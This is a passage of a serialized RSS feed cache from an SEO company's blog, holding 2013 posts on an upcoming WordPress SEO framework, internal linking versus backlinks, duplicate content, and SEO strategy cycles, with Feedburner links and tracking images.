be used as short codes.&lt;/p&gt;\n&lt;p style=\&quot;text-align: center;\&quot;&gt;&lt;img class=\&quot;aligncenter size-full wp-image-9247\&quot; alt=\&quot;WPU Screen Cap 4\&quot; src=\&quot;http://www.seodesignsolutions.com/blog/wp-content/uploads/2013/03/WPU-Cap4.jpg\&quot; width=\&quot;506\&quot; height=\&quot;312\&quot; /&gt;&lt;/p&gt;\n&lt;p style=\&quot;text-align: center;\&quot;&gt;&lt;strong&gt;The Short Code Generator Module&lt;/strong&gt; allows you to create and use your own short codes (maps, contact forms, HTML or text) or, you can select from our built-in short codes from content boxes to columns (it&amp;#8217;s in there).&lt;/p&gt;\n&lt;p&gt;In closing, affiliates and small business owners seeking a visually stunning SEO equalizer will soon have some new &lt;strong&gt;SEO and Design&lt;/strong&gt; tools to play with.&lt;/p&gt;\n&lt;p&gt;However, in the meantime, we are currently stress-testing and refining the last batch of newly integrated features in the front-end (e.g. Twitter Bootstrap, Google Fonts, Slider Revolution, a Timed Lightbox Feature, Content Columns, &lt;a href=\&quot;http://fortawesome.github.com/Font-Awesome/\&quot;&gt;Font Awesome&lt;/a&gt;, the quick silo builder and an ever-increasing library of shortcodes).&lt;/p&gt;\n&lt;h3&gt;Once Beta Testers are Done, It&amp;#8217;s a Wrap&lt;/h3&gt;\n&lt;p&gt;Our beta testers are now in their final review, so, once all bugs are crushed, we&amp;#8217;ll broadcast the announcement to those of you reading this blog via the proper social channels and you&amp;#8217;ll be able to download your copy and &lt;strong&gt;put it to the test&lt;/strong&gt;. As always, we look forward to your feedback and suggestions on how we can make our tools the best they can be.&lt;/p&gt;\n&lt;p&gt;The jury on price point is still hung as we have poured our heart, soul and most coveted tactics and tools into this framework, but we&amp;#8217;ll be sure to entice early adopters with a special promotion coupon code for the launch before settling at the final single user license fee and extended / unlimited site user license rates.&lt;/p&gt;\n&lt;p&gt;In the meantime, thank you for your patience during the scope-creep cycles we&amp;#8217;re emerging from. We truly look forward to building a dynamic community and providing useful resources that you can deploy powered by our battle-tested SEO strategies and tools to generate more revenue for your business.&lt;/p&gt;\n&lt;p&gt;If you haven&amp;#8217;t already, feel free to download &lt;a href=\&quot;http://wordpress.org/extend/plugins/seo-ultimate/\&quot;&gt;SEO Ultimate&lt;/a&gt; our All-In-One WordPress SEO Plugin and take a peak at the &lt;a href=\&quot;http://www.seodesignsolutions.com/wordpress-seo/\&quot;&gt;video tutorial&lt;/a&gt; explaining how to use its various features. Thanks again and stay tuned for more SEO goodies.&lt;/p&gt;\n&lt;p&gt;Have questions or have something to say? Speak up! Share your thoughts below.&lt;/p&gt;\n&lt;p&gt;&lt;a href=\&quot;https://plus.google.com/109189625824502979466/?rel=author\&quot; rel=\&quot;author\&quot;&gt; -Jeffrey&lt;/a&gt;&lt;/p&gt;&lt;div class=\&quot;feedflare\&quot;&gt;\n&lt;a href=\&quot;http://feeds.seodesignsolutions.com/~ff/SeoDesignSolutionsBlog?a=ygIVQfNT5A8:1j0aW7_KlwA:yIl2AUoC8zA\&quot;&gt;&lt;img src=\&quot;http://feeds.feedburner.com/~ff/SeoDesignSolutionsBlog?d=yIl2AUoC8zA\&quot; border=\&quot;0\&quot;&gt;&lt;/img&gt;&lt;/a&gt;\n&lt;/div&gt;&lt;img src=\&quot;http://feeds.feedburner.com/~r/SeoDesignSolutionsBlog/~4/ygIVQfNT5A8\&quot; height=\&quot;1\&quot; width=\&quot;1\&quot;/&gt;\&quot;;}i:4;a:12:{s:5:\&quot;title\&quot;;s:49:\&quot;Are Internal Links More Important than Backlinks?\&quot;;s:4:\&quot;link\&quot;;s:77:\&quot;http://feeds.seodesignsolutions.com/~r/SeoDesignSolutionsBlog/~3/1i5w_UIJblA/\&quot;;s:8:\&quot;category\&quot;;s:72:\&quot;SEO BasicsInternal Linking for SEOinternal-linksseo and internal linking\&quot;;s:2:\&quot;dc\&quot;;a:1:{s:7:\&quot;creator\&quot;;s:13:\&quot;Jeffrey_Smith\&quot;;}s:7:\&quot;pubdate\&quot;;s:29:\&quot;Mon, 04 Mar 2013 23:41:01 PST\&quot;;s:4:\&quot;guid\&quot;;s:46:\&quot;http://www.seodesignsolutions.com/blog/?p=9241\&quot;;s:7:\&quot;content\&quot;;a:1:{s:7:\&quot;encoded\&quot;;s:2649:\&quot;&lt;p&gt;Do &lt;a href=\&quot;http://www.seodesignsolutions.com/blog/seo/seo-and-internal-linking/\&quot;&gt;internal links&lt;/a&gt; pass more referential integrity for the topic of your pages and where they fit in to your website&amp;#8217;s architecture to search engines than &lt;strong&gt;links from other websites&lt;/strong&gt;? Let&amp;#8217;s investigate in today&amp;#8217;s post.&lt;/p&gt;\n&lt;div class=\&quot;wp-caption aligncenter\&quot; style=\&quot;width: 356px\&quot;&gt;&lt;a href=\&quot;http://www.seodesignsolutions.com/blog/seo-resources/why-internal-links-are-more-important-than-backlinks/\&quot;&gt;&lt;img alt=\&quot;SEO and Internal Linking\&quot; src=\&quot;http://www.seodesignsolutions.com/blog/wp-content/uploads/2011/02/seo-circulatory-system.jpg\&quot; width=\&quot;346\&quot; height=\&quot;346\&quot; /&gt;&lt;/a&gt;&lt;p class=\&quot;wp-caption-text\&quot;&gt;Why Internal Links Matter More than Backlinks&lt;/p&gt;&lt;/div&gt;\n&lt;p&gt;To start with a mental image and analogy, think of internal links like veins in your website analogous &lt;a title=\&quot;SEO\&quot; href=\&quot;http://www.seodesignsolutions.com/seo/\&quot;&gt;SEO&lt;/a&gt; circulatory system.  Their role and function are equally as important to the health of your website as the veins are to your body.&lt;/p&gt;\n&lt;h3&gt;The Value of Link Weight&lt;/h3&gt;\n&lt;p&gt;Think of each page as an island in itself, the page essentially has 3 attributes and/or characteristics (1) the links to it &lt;strong&gt;from other pages&lt;/strong&gt; (2) the &lt;strong&gt;content or topic&lt;/strong&gt; of the page and (3) the &lt;strong&gt;links leaving&lt;/strong&gt; the page.&lt;/p&gt;\n&lt;p&gt;Based on those three characteristics each page serves a very specific function in the website. That function is either  (1) to rank as a &lt;a href=\&quot;http://www.seodesignsolutions.com/blog/seo-tips/seo-tips-to-create-a-champion-page/\&quot;&gt;champion page&lt;/a&gt;  / &lt;a href=\&quot;http://www.seodesignsolutions.com/blog/seo/seo-techniques/\&quot;&gt;preferred landing page&lt;/a&gt; or (2) to serve as a &lt;a href=\&quot;http://www.seodesignsolutions.com/blog/seo/how-to-easily-create-silo-site-architecture/\&quot;&gt;hub page&lt;/a&gt; / supporting page (to create enough topical relevance) to rank preferred landing pages.&lt;/p&gt;\n&lt;p style=\&quot;text-align: center;\&quot;&gt;Continue reading &amp;gt;&amp;gt;&amp;gt; &lt;a href=\&quot;http://www.seodesignsolutions.com/blog/seo-resources/why-internal-links-are-more-important-than-backlinks/\&quot;&gt;Why Internal Links are More Important than Backlinks&lt;/a&gt; Here!&lt;/p&gt;\n&lt;p&gt;&lt;a href=\&quot;https://plus.google.com/109189625824502979466/?rel=author\&quot; rel=\&quot;author\&quot;&gt; -Jeffrey&lt;/a&gt;&lt;/p&gt;&lt;div class=\&quot;feedflare\&quot;&gt;\n&lt;a href=\&quot;http://feeds.seodesignsolutions.com/~ff/SeoDesignSolutionsBlog?a=1i5w_UIJblA:Lz9WT3ozZqo:yIl2AUoC8zA\&quot;&gt;&lt;img src=\&quot;http://feeds.feedburner.com/~ff/SeoDesignSolutionsBlog?d=yIl2AUoC8zA\&quot; border=\&quot;0\&quot;&gt;&lt;/img&gt;&lt;/a&gt;\n&lt;/div&gt;&lt;img src=\&quot;http://feeds.feedburner.com/~r/SeoDesignSolutionsBlog/~4/1i5w_UIJblA\&quot; height=\&quot;1\&quot; width=\&quot;1\&quot;/&gt;\&quot;;}s:11:\&quot;description\&quot;;s:358:\&quot;Do internal links pass more referential integrity for the topic of your pages and where they fit in to your website&amp;#8217;s architecture to search engines than links from other websites? Let&amp;#8217;s investigate in today&amp;#8217;s post. To start with a mental image and analogy, think of internal links like veins in your website analogous SEO circulatory [...]\&quot;;s:5:\&quot;slash\&quot;;a:1:{s:8:\&quot;comments\&quot;;s:1:\&quot;7\&quot;;}s:10:\&quot;feedburner\&quot;;a:1:{s:8:\&quot;origlink\&quot;;s:99:\&quot;http://www.seodesignsolutions.com/blog/seo-basics/are-internal-links-more-important-than-backlinks/\&quot;;}s:7:\&quot;summary\&quot;;s:358:\&quot;Do internal links pass more referential integrity for the topic of your pages and where they fit in to your website&amp;#8217;s architecture to search engines than links from other websites? Let&amp;#8217;s investigate in today&amp;#8217;s post. To start with a mental image and analogy, think of internal links like veins in your website analogous SEO circulatory [...]\&quot;;s:12:\&quot;atom_content\&quot;;s:2649:\&quot;&lt;p&gt;Do &lt;a href=\&quot;http://www.seodesignsolutions.com/blog/seo/seo-and-internal-linking/\&quot;&gt;internal links&lt;/a&gt; pass more referential integrity for the topic of your pages and where they fit in to your website&amp;#8217;s architecture to search engines than &lt;strong&gt;links from other websites&lt;/strong&gt;? Let&amp;#8217;s investigate in today&amp;#8217;s post.&lt;/p&gt;\n&lt;div class=\&quot;wp-caption aligncenter\&quot; style=\&quot;width: 356px\&quot;&gt;&lt;a href=\&quot;http://www.seodesignsolutions.com/blog/seo-resources/why-internal-links-are-more-important-than-backlinks/\&quot;&gt;&lt;img alt=\&quot;SEO and Internal Linking\&quot; src=\&quot;http://www.seodesignsolutions.com/blog/wp-content/uploads/2011/02/seo-circulatory-system.jpg\&quot; width=\&quot;346\&quot; height=\&quot;346\&quot; /&gt;&lt;/a&gt;&lt;p class=\&quot;wp-caption-text\&quot;&gt;Why Internal Links Matter More than Backlinks&lt;/p&gt;&lt;/div&gt;\n&lt;p&gt;To start with a mental image and analogy, think of internal links like veins in your website analogous &lt;a title=\&quot;SEO\&quot; href=\&quot;http://www.seodesignsolutions.com/seo/\&quot;&gt;SEO&lt;/a&gt; circulatory system.  Their role and function are equally as important to the health of your website as the veins are to your body.&lt;/p&gt;\n&lt;h3&gt;The Value of Link Weight&lt;/h3&gt;\n&lt;p&gt;Think of each page as an island in itself, the page essentially has 3 attributes and/or characteristics (1) the links to it &lt;strong&gt;from other pages&lt;/strong&gt; (2) the &lt;strong&gt;content or topic&lt;/strong&gt; of the page and (3) the &lt;strong&gt;links leaving&lt;/strong&gt; the page.&lt;/p&gt;\n&lt;p&gt;Based on those three characteristics each page serves a very specific function in the website. That function is either  (1) to rank as a &lt;a href=\&quot;http://www.seodesignsolutions.com/blog/seo-tips/seo-tips-to-create-a-champion-page/\&quot;&gt;champion page&lt;/a&gt;  / &lt;a href=\&quot;http://www.seodesignsolutions.com/blog/seo/seo-techniques/\&quot;&gt;preferred landing page&lt;/a&gt; or (2) to serve as a &lt;a href=\&quot;http://www.seodesignsolutions.com/blog/seo/how-to-easily-create-silo-site-architecture/\&quot;&gt;hub page&lt;/a&gt; / supporting page (to create enough topical relevance) to rank preferred landing pages.&lt;/p&gt;\n&lt;p style=\&quot;text-align: center;\&quot;&gt;Continue reading &amp;gt;&amp;gt;&amp;gt; &lt;a href=\&quot;http://www.seodesignsolutions.com/blog/seo-resources/why-internal-links-are-more-important-than-backlinks/\&quot;&gt;Why Internal Links are More Important than Backlinks&lt;/a&gt; Here!&lt;/p&gt;\n&lt;p&gt;&lt;a href=\&quot;https://plus.google.com/109189625824502979466/?rel=author\&quot; rel=\&quot;author\&quot;&gt; -Jeffrey&lt;/a&gt;&lt;/p&gt;&lt;div class=\&quot;feedflare\&quot;&gt;\n&lt;a href=\&quot;http://feeds.seodesignsolutions.com/~ff/SeoDesignSolutionsBlog?a=1i5w_UIJblA:Lz9WT3ozZqo:yIl2AUoC8zA\&quot;&gt;&lt;img src=\&quot;http://feeds.feedburner.com/~ff/SeoDesignSolutionsBlog?d=yIl2AUoC8zA\&quot; border=\&quot;0\&quot;&gt;&lt;/img&gt;&lt;/a&gt;\n&lt;/div&gt;&lt;img src=\&quot;http://feeds.feedburner.com/~r/SeoDesignSolutionsBlog/~4/1i5w_UIJblA\&quot; height=\&quot;1\&quot; width=\&quot;1\&quot;/&gt;\&quot;;}i:5;a:12:{s:5:\&quot;title\&quot;;s:50:\&quot;Duplicate Content, What is it and How to Avoid it!\&quot;;s:4:\&quot;link\&quot;;s:77:\&quot;http://feeds.seodesignsolutions.com/~r/SeoDesignSolutionsBlog/~3/6Extr3JuGnY/\&quot;;s:8:\&quot;category\&quot;;s:84:\&quot;SEO ResourcesDuplicate Content and SEOSEOShingle Analysis to Avoid Duplicate Content\&quot;;s:2:\&quot;dc\&quot;;a:1:{s:7:\&quot;creator\&quot;;s:13:\&quot;Jeffrey_Smith\&quot;;}s:7:\&quot;pubdate\&quot;;s:29:\&quot;Sat, 23 Feb 2013 09:12:48 PST\&quot;;s:4:\&quot;guid\&quot;;s:46:\&quot;http://www.seodesignsolutions.com/blog/?p=9238\&quot;;s:7:\&quot;content\&quot;;a:1:{s:7:\&quot;encoded\&quot;;s:2822:\&quot;&lt;p&gt;You&amp;#8217;ve heard of duplicate content, but how do you know &lt;strong&gt;if you are creating it&lt;/strong&gt; or &lt;strong&gt;how to stop it&lt;/strong&gt; from penalizing your website? If you have a WordPress site, then &lt;a href=\&quot;http://www.seodesignsolutions.com/blog/wordpress-seo/wordpress-seo-tips-to-avoid-search-engine-penalties/\&quot;&gt;it&amp;#8217;s a simple fix&lt;/a&gt;, but for the sake of elaboration, let&amp;#8217;s delve deeper into &lt;a href=\&quot;http://www.seodesignsolutions.com/blog/seo/seo-natural-language-discrimination-through-semantic-analysis/\&quot;&gt;how search engines work &lt;/a&gt;and reveal what duplicate content really is.&lt;/p&gt;\n&lt;p&gt;&lt;a href=\&quot;http://www.seodesignsolutions.com/blog/seo-resources/seo-information-retrieval/\&quot;&gt;&lt;img class=\&quot;aligncenter\&quot; alt=\&quot;\&quot; src=\&quot;http://www.seodesignsolutions.com/images/uniqueness.jpg\&quot; width=\&quot;425\&quot; height=\&quot;282\&quot; /&gt;&lt;/a&gt;&lt;/p&gt;\n&lt;p&gt;Block segment analysis dictates the value of weight / ranking  factors a web page is given for a set portion of the page. For example, text in the header and footer of a document are treated differently than the text in the body section of a page.&lt;/p&gt;\n&lt;p&gt;The header is given more weight than the footer and typically the body text is given more value than both (since that is where the page has the ability to distinguish itself from borrowed elements, i.e. navigation, etc.).&lt;/p&gt;\n&lt;p&gt;The reason for this is simple, page composition dictates that proximity and distinction (the more unique one document is from another) by distinguishing your content, the better. Search engines can easily discern duplication (through &lt;a href=\&quot;http://www.seodesignsolutions.com/blog/web-resources/semantic-optimization-keywords-and-co-occurrence-revisited/\&quot;&gt;shingle analysis&lt;/a&gt;, singular value decomposition (&lt;a href=\&quot;http://en.wikipedia.org/wiki/Singular_value_decomposition\&quot;&gt;SVD&lt;/a&gt;), etc.) in areas such as &lt;a href=\&quot;http://www.seodesignsolutions.com/blog/seo-videos/google-website-analysis-live-site-review/\&quot;&gt;navigation, sidebars&lt;/a&gt;/blogrolls with the same links and footers all using the same text. This has the tendency of diffuse a pages ranking potential.&lt;/p&gt;\n&lt;p&gt;Click Here to Read the Complete Post &amp;#8211; &amp;#8220;&lt;a href=\&quot;http://www.seodesignsolutions.com/blog/seo-resources/seo-information-retrieval/\&quot;&gt;Block Segmentation, Duplicate Content, SEO and IR&lt;/a&gt;&amp;#8221; or simply click the image above. As always, comments are welcomed and encouraged!&lt;/p&gt;\n&lt;p&gt;&lt;a href=\&quot;https://plus.google.com/109189625824502979466/?rel=author\&quot; rel=\&quot;author\&quot;&gt; -Jeffrey&lt;/a&gt;&lt;/p&gt;&lt;div class=\&quot;feedflare\&quot;&gt;\n&lt;a href=\&quot;http://feeds.seodesignsolutions.com/~ff/SeoDesignSolutionsBlog?a=6Extr3JuGnY:CUS5F2KHUCk:yIl2AUoC8zA\&quot;&gt;&lt;img src=\&quot;http://feeds.feedburner.com/~ff/SeoDesignSolutionsBlog?d=yIl2AUoC8zA\&quot; border=\&quot;0\&quot;&gt;&lt;/img&gt;&lt;/a&gt;\n&lt;/div&gt;&lt;img src=\&quot;http://feeds.feedburner.com/~r/SeoDesignSolutionsBlog/~4/6Extr3JuGnY\&quot; height=\&quot;1\&quot; width=\&quot;1\&quot;/&gt;\&quot;;}s:11:\&quot;description\&quot;;s:325:\&quot;You&amp;#8217;ve heard of duplicate content, but how do you know if you are creating it or how to stop it from penalizing your website? If you have a WordPress site, then it&amp;#8217;s a simple fix, but for the sake of elaboration, let&amp;#8217;s delve deeper into how search engines work and reveal what duplicate content really [...]\&quot;;s:5:\&quot;slash\&quot;;a:1:{s:8:\&quot;comments\&quot;;s:1:\&quot;1\&quot;;}s:10:\&quot;feedburner\&quot;;a:1:{s:8:\&quot;origlink\&quot;;s:102:\&quot;http://www.seodesignsolutions.com/blog/seo-resources/duplicate-content-what-is-it-and-how-to-avoid-it/\&quot;;}s:7:\&quot;summary\&quot;;s:325:\&quot;You&amp;#8217;ve heard of duplicate content, but how do you know if you are creating it or how to stop it from penalizing your website? If you have a WordPress site, then it&amp;#8217;s a simple fix, but for the sake of elaboration, let&amp;#8217;s delve deeper into how search engines work and reveal what duplicate content really [...]\&quot;;s:12:\&quot;atom_content\&quot;;s:2822:\&quot;&lt;p&gt;You&amp;#8217;ve heard of duplicate content, but how do you know &lt;strong&gt;if you are creating it&lt;/strong&gt; or &lt;strong&gt;how to stop it&lt;/strong&gt; from penalizing your website? If you have a WordPress site, then &lt;a href=\&quot;http://www.seodesignsolutions.com/blog/wordpress-seo/wordpress-seo-tips-to-avoid-search-engine-penalties/\&quot;&gt;it&amp;#8217;s a simple fix&lt;/a&gt;, but for the sake of elaboration, let&amp;#8217;s delve deeper into &lt;a href=\&quot;http://www.seodesignsolutions.com/blog/seo/seo-natural-language-discrimination-through-semantic-analysis/\&quot;&gt;how search engines work &lt;/a&gt;and reveal what duplicate content really is.&lt;/p&gt;\n&lt;p&gt;&lt;a href=\&quot;http://www.seodesignsolutions.com/blog/seo-resources/seo-information-retrieval/\&quot;&gt;&lt;img class=\&quot;aligncenter\&quot; alt=\&quot;\&quot; src=\&quot;http://www.seodesignsolutions.com/images/uniqueness.jpg\&quot; width=\&quot;425\&quot; height=\&quot;282\&quot; /&gt;&lt;/a&gt;&lt;/p&gt;\n&lt;p&gt;Block segment analysis dictates the value of weight / ranking  factors a web page is given for a set portion of the page. For example, text in the header and footer of a document are treated differently than the text in the body section of a page.&lt;/p&gt;\n&lt;p&gt;The header is given more weight than the footer and typically the body text is given more value than both (since that is where the page has the ability to distinguish itself from borrowed elements, i.e. navigation, etc.).&lt;/p&gt;\n&lt;p&gt;The reason for this is simple, page composition dictates that proximity and distinction (the more unique one document is from another) by distinguishing your content, the better. Search engines can easily discern duplication (through &lt;a href=\&quot;http://www.seodesignsolutions.com/blog/web-resources/semantic-optimization-keywords-and-co-occurrence-revisited/\&quot;&gt;shingle analysis&lt;/a&gt;, singular value decomposition (&lt;a href=\&quot;http://en.wikipedia.org/wiki/Singular_value_decomposition\&quot;&gt;SVD&lt;/a&gt;), etc.) in areas such as &lt;a href=\&quot;http://www.seodesignsolutions.com/blog/seo-videos/google-website-analysis-live-site-review/\&quot;&gt;navigation, sidebars&lt;/a&gt;/blogrolls with the same links and footers all using the same text. This has the tendency of diffuse a pages ranking potential.&lt;/p&gt;\n&lt;p&gt;Click Here to Read the Complete Post &amp;#8211; &amp;#8220;&lt;a href=\&quot;http://www.seodesignsolutions.com/blog/seo-resources/seo-information-retrieval/\&quot;&gt;Block Segmentation, Duplicate Content, SEO and IR&lt;/a&gt;&amp;#8221; or simply click the image above. As always, comments are welcomed and encouraged!&lt;/p&gt;\n&lt;p&gt;&lt;a href=\&quot;https://plus.google.com/109189625824502979466/?rel=author\&quot; rel=\&quot;author\&quot;&gt; -Jeffrey&lt;/a&gt;&lt;/p&gt;&lt;div class=\&quot;feedflare\&quot;&gt;\n&lt;a href=\&quot;http://feeds.seodesignsolutions.com/~ff/SeoDesignSolutionsBlog?a=6Extr3JuGnY:CUS5F2KHUCk:yIl2AUoC8zA\&quot;&gt;&lt;img src=\&quot;http://feeds.feedburner.com/~ff/SeoDesignSolutionsBlog?d=yIl2AUoC8zA\&quot; border=\&quot;0\&quot;&gt;&lt;/img&gt;&lt;/a&gt;\n&lt;/div&gt;&lt;img src=\&quot;http://feeds.feedburner.com/~r/SeoDesignSolutionsBlog/~4/6Extr3JuGnY\&quot; height=\&quot;1\&quot; width=\&quot;1\&quot;/&gt;\&quot;;}i:6;a:12:{s:5:\&quot;title\&quot;;s:43:\&quot;Is Your SEO Strategy Proactive or Reactive?\&quot;;s:4:\&quot;link\&quot;;s:77:\&quot;http://feeds.seodesignsolutions.com/~r/SeoDesignSolutionsBlog/~3/emH46l-JJSc/\&quot;;s:8:\&quot;category\&quot;;s:10:\&quot;Mini-Blogs\&quot;;s:2:\&quot;dc\&quot;;a:1:{s:7:\&quot;creator\&quot;;s:13:\&quot;Jeffrey_Smith\&quot;;}s:7:\&quot;pubdate\&quot;;s:29:\&quot;Fri, 22 Feb 2013 20:00:39 PST\&quot;;s:4:\&quot;guid\&quot;;s:46:\&quot;http://www.seodesignsolutions.com/blog/?p=9236\&quot;;s:7:\&quot;content\&quot;;a:1:{s:7:\&quot;encoded\&quot;;s:2089:\&quot;&lt;p&gt;Before you jump in to any  &lt;a href=\&quot;http://www.seodesignsolutions.com/blog/seo-services/10-seo-techniques-for-top-10-rankings/\&quot;&gt;SEO technique&lt;/a&gt;, you&amp;#8217;ll need to understand two things (1) it&amp;#8217;s immediate and extended purpose and (2) it&amp;#8217;s history. Like everything, there are cycles, and if you come on too strong at the wrong time (i.e. hit the turbo button when you should have taken a deferred and metered pace), then the outcome is almost predicable &amp;#8211; you hit a wall.&lt;/p&gt;\n&lt;div class=\&quot;wp-caption aligncenter\&quot; style=\&quot;width: 410px\&quot;&gt;&lt;a href=\&quot;http://www.seodesignsolutions.com/blog/seo/seo-and-the-cycles-of-optimization/\&quot;&gt;&lt;img alt=\&quot;\&quot; src=\&quot;http://www.seodesignsolutions.com/blog/wp-content/uploads/2009/02/optimization-phases.jpg\&quot; width=\&quot;400\&quot; height=\&quot;265\&quot; /&gt;&lt;/a&gt;&lt;p class=\&quot;wp-caption-text\&quot;&gt;Ready, Fire, Aim!&lt;/p&gt;&lt;/div&gt;\n&lt;p&gt;Do yourself a favor and its time to go back before you move forward. Here is a&lt;strong&gt; post from the past&lt;/strong&gt; written over 4 years ago, that still rings true today. Aside from the fact that the turtle with a jet pack is just plain snazzy, there are some worthwhile gems to extract.&lt;/p&gt;\n&lt;p&gt;Topics covered:&lt;/p&gt;\n&lt;ul&gt;\n&lt;li&gt;&lt;strong&gt;The Ping Phase&lt;/strong&gt;&lt;/li&gt;\n&lt;li&gt;&lt;strong&gt;The Gap&lt;/strong&gt;&lt;/li&gt;\n&lt;li&gt;&lt;strong&gt;Link Insurance&lt;/strong&gt;&lt;/li&gt;\n&lt;li&gt;&lt;strong&gt;The Authority Ranking and more&amp;#8230;&lt;br /&gt;\n&lt;/strong&gt;&lt;/li&gt;\n&lt;/ul&gt;\n&lt;p&gt;Click Here to read &amp;#8220;&lt;a href=\&quot;http://www.seodesignsolutions.com/blog/seo/seo-and-the-cycles-of-optimization/\&quot;&gt;SEO and the Cycles of Optimization&lt;/a&gt;&amp;#8220;&amp;#8230; After you&amp;#8217;ve read it, let me know what you think.&lt;/p&gt;\n&lt;p&gt;&amp;nbsp;&lt;/p&gt;\n&lt;p&gt;&amp;nbsp;&lt;/p&gt;\n&lt;p&gt;&amp;nbsp;&lt;/p&gt;\n&lt;p&gt;&amp;nbsp;&lt;/p&gt;\n&lt;p&gt;&lt;a href=\&quot;https://plus.google.com/109189625824502979466/?rel=author\&quot; rel=\&quot;author\&quot;&gt; -Jeffrey&lt;/a&gt;&lt;/p&gt;&lt;div class=\&quot;feedflare\&quot;&gt;\n&lt;a href=\&quot;http://feeds.seodesignsolutions.com/~ff/SeoDesignSolutionsBlog?a=emH46l-JJSc:V_gNdqREvtk:yIl2AUoC8zA\&quot;&gt;&lt;img src=\&quot;http://feeds.feedburner.com/~ff/SeoDesignSolutionsBlog?d=yIl2AUoC8zA\&quot; border=\&quot;0\&quot;&gt;&lt;/img&gt;&lt;/a&gt;\n&lt;/div&gt;&lt;img src=\&quot;http://feeds.feedburner.com/~r/SeoDesignSolutionsBlog/~4/emH46l-JJSc\&quot; height=\&quot;1\&quot; width=\&quot;1\&quot;/&gt;\&quot;;}s:11:\&quot;description\&quot;;s:332:\&quot;Before you jump in to any  SEO technique, you&amp;#8217;ll need to understand two things (1) it&amp;#8217;s immediate and extended purpose and (2) it&amp;#8217;s history. Like everything, there are cycles, and if you come on too strong at the wrong time (i.e. hit the turbo button when you should have taken a deferred and metered pace), [...]\&quot;;s:5:\&quot;slash\&quot;;a:1:{s:8:\&quot;comments\&quot;;s:1:\&quot;1\&quot;;}s:10:\&quot;feedburner\&quot;;a:1:{s:8:\&quot;origlink\&quot;;s:93:\&quot;http://www.seodesignsolutions.com/blog/mini-blogs/is-your-seo-strategy-proactive-or-reactive/\&quot;;}s:7:\&quot;summary\&quot;;s:332:\&quot;Before you jump in to any  SEO technique, you&amp;#8217;ll need to understand two things (1) it&amp;#8217;s immediate and extended purpose and (2) it&amp;#8217;s history. Like everything, there are cycles, and if you come on too strong at the wrong time (i.e. hit the turbo button when you should have taken a deferred and metered pace), [...]\&quot;;s:12:\&quot;atom_content\&quot;;s:2089:\&quot;&lt;p&gt;Before you jump in to any  &lt;a href=\&quot;http://www.seodesignsolutions.com/blog/seo-services/10-seo-techniques-for-top-10-rankings/\&quot;&gt;SEO technique&lt;/a&gt;, you&amp;#8217;ll need to understand two things (1) it&amp;#8217;s immediate and extended purpose and (2) it&amp;#8217;s history. Like everything, there are cycles, and if you come on too strong at the wrong time (i.e. hit the turbo button when you should have taken a deferred and metered pace), then the outcome is almost predicable &amp;#8211; you hit a wall.&lt;/p&gt;\n&lt;div class=\&quot;wp-caption aligncenter\&quot; style=\&quot;width: 410px\&quot;&gt;&lt;a href=\&quot;http://www.seodesignsolutions.com/blog/seo/seo-and-the-cycles-of-optimization/\&quot;&gt;&lt;img alt=\&quot;\&quot; src=\&quot;http://www.seodesignsolutions.com/blog/wp-content/uploads/2009/02/optimization-phases.jpg\&quot; width=\&quot;400\&quot; height=\&quot;265\&quot; /&gt;&lt;/a&gt;&lt;p class=\&quot;wp-caption-text\&quot;&gt;Ready, Fire, Aim!&lt;/p&gt;&lt;/div&gt;\n&lt;p&gt;Do yourself a favor and its time to go back before you move forward. Here is a&lt;strong&gt; post from the past&lt;/strong&gt; written over 4 years ago, that still rings true today. Aside from the fact that the turtle with a jet pack is just plain snazzy, there are some worthwhile gems to extract.&lt;/p&gt;\n&lt;p&gt;Topics covered:&lt;/p&gt;\n&lt;ul&gt;\n&lt;li&gt;&lt;strong&gt;The Ping Phase&lt;/strong&gt;&lt;/li&gt;\n&lt;li&gt;&lt;strong&gt;The Gap&lt;/strong&gt;&lt;/li&gt;\n&lt;li&gt;&lt;strong&gt;Link Insurance&lt;/strong&gt;&lt;/li&gt;\n&lt;li&gt;&lt;strong&gt;The Authority Ranking and more&amp;#8230;&lt;br /&gt;\n&lt;/strong&gt;&lt;/li&gt;\n&lt;/ul&gt;\n&lt;p&gt;Click Here to read &amp;#8220;&lt;a href=\&quot;http://www.seodesignsolutions.com/blog/seo/seo-and-the-cycles-of-optimization/\&quot;&gt;SEO and the Cycles of Optimization&lt;/a&gt;&amp;#8220;&amp;#8230; After you&amp;#8217;ve read it, let me know what you think.&lt;/p&gt;\n&lt;p&gt;&amp;nbsp;&lt;/p&gt;\n&lt;p&gt;&amp;nbsp;&lt;/p&gt;\n&lt;p&gt;&amp;nbsp;&lt;/p&gt;\n&lt;p&gt;&amp;nbsp;&lt;/p&gt;\n&lt;p&gt;&lt;a href=\&quot;https://plus.google.com/109189625824502979466/?rel=author\&quot; rel=\&quot;author\&quot;&gt; -Jeffrey&lt;/a&gt;&lt;/p&gt;&lt;div class=\&quot;feedflare\&quot;&gt;\n&lt;a href=\&quot;http://feeds.seodesignsolutions.com/~ff/SeoDesignSolutionsBlog?a=emH46l-JJSc:V_gNdqREvtk:yIl2AUoC8zA\&quot;&gt;&lt;img src=\&quot;http://feeds.feedburner.com/~ff/SeoDesignSolutionsBlog?d=yIl2AUoC8zA\&quot; border=\&quot;0\&quot;&gt;&lt;/img&gt;&lt;/a&gt;\n&lt;/div&gt;&lt;img src=\&quot;http://feeds.feedburner.com/~r/SeoDesignSolutionsBlog/~4/emH46l-JJSc\&quot; height=\&quot;1\&quot; width=\&quot;1\&quot;/&gt;\&quot;;}i:7;a:12:{s:5:\&quot;title\&quot;;s:51:\&quot;WordPress SEO Tips to Avoid Search Engine Penalties\&quot;;s:4:\&quot;link\&quot;;s:77:\&quot;http://feeds.seodesignsolutions.com/~r/SeoDesignSolutionsBlog/~3/-oVM60xjqBo/\&quot;;s:8:\&quot;category\&quot;;s:13:\&quot;WordPress SEO\&quot;;s:2:\&quot;dc\&quot;;a:1:{s:7:\&quot;creator\&quot;;s:13:\&quot;Jeffrey_Smith\&quot;;}s:7:\&quot;pubdate\&quot;;s:29:\&quot;Tue, 19 Feb 2013 21:46:06 PST\&quot;;s:4:\&quot;guid\&quot;;s:46:\&quot;http://www.seodesignsolutions.com/blog/?p=9219\&quot;;s:7:\&quot;content\&quot;;a:1:{s:7:\&quot;encoded\&quot;;s:12603:\&quot;&lt;p&gt;It’s no secret that WordPress is one of the most popular, easy-to-implement content management systems online. But just because it’s easy doesn’t mean that the &lt;strong&gt;out-of-the-box WordPress settings&lt;/strong&gt; are ideal for optimal on page SEO. In fact, there&amp;#8217;s nothing farther from the truth.&lt;/p&gt;\n&lt;div id=\&quot;attachment_9220\&quot; 